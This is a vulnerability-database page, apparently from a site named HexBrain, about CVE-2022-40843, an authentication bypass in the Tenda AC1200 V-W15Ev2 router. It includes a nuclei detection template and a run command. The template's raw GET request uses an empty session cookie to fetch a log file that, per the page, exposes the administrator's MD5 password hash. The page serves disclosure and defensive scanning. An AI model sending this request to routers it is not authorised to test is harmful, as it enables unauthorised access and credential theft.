HexBrain

Browse / CVEs / CVE-2022-40843

CVE-2022-40843· tenda / ac1200 v-w15ev2· CWE-287

Tenda AC1200 V-W15Ev2 - Authentication Bypass

mediumseverity
4.9CVSS score
29.3%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

The Tenda AC1200 V-W15Ev2 router is affected by improper authorization/improper session management. The software does not perform or incorrectly perform an authorization check when a user attempts to access a resource or perform an action. This allows the router's login page to be bypassed. The improper validation of user sessions/authorization can lead to unauthenticated attackers having the ability to read the router's file, which contains the MD5 password of the Administrator's user account. This vulnerability exists within the local web and hosted remote management console.

Impact

Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential access to sensitive information.

Fix

Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability.

How to confirm it

Send: GET /goform/downloadSyslog/syslog.log
Positive when: matches /^0\d{3}$/ AND contains "[system]" or "[error]" or "[wan1]" AND contains in header "Content-type: config/conf" AND status 200

Run it with nuclei: nuclei -id CVE-2022-40843 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-40843

info:
  name: Tenda AC1200 V-W15Ev2 - Authentication Bypass
  author: gy741
  severity: medium
  description: |
    The Tenda AC1200 V-W15Ev2 router is affected by improper authorization/improper session management. The software does not perform or incorrectly perform an authorization check when a user attempts to access a resource or perform an action. This allows the router's login page to be bypassed. The improper validation of user sessions/authorization can lead to unauthenticated attackers having the ability to read the router's file, which contains the MD5 password of the Administrator's user account. This vulnerability exists within the local web and hosted remote management console.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential access to sensitive information.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability.
  reference:
    - https://boschko.ca/tenda_ac1200_router
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40843
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-40843
    cwe-id: CWE-287
    epss-score: 0.28802
    epss-percentile: 0.98164
    cpe: cpe:2.3:h:tenda:ac1200_v-w15ev2:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tenda
    product: ac1200_v-w15ev2
  tags: cve2022,cve,tenda,auth-bypass,router,iot,vkev,vuln

http:
  - raw:
      - |
        GET /goform/downloadSyslog/syslog.log HTTP/1.1
        Host: {{Hostname}}
        Cookie: W15Ev2_user=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '^0\d{3}$'

      - type: word
        part: body
        words:
          - "[system]"
          - "[error]"
          - "[wan1]"
        condition: or

      - type: word
        part: header
        words:
          - "Content-type: config/conf"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from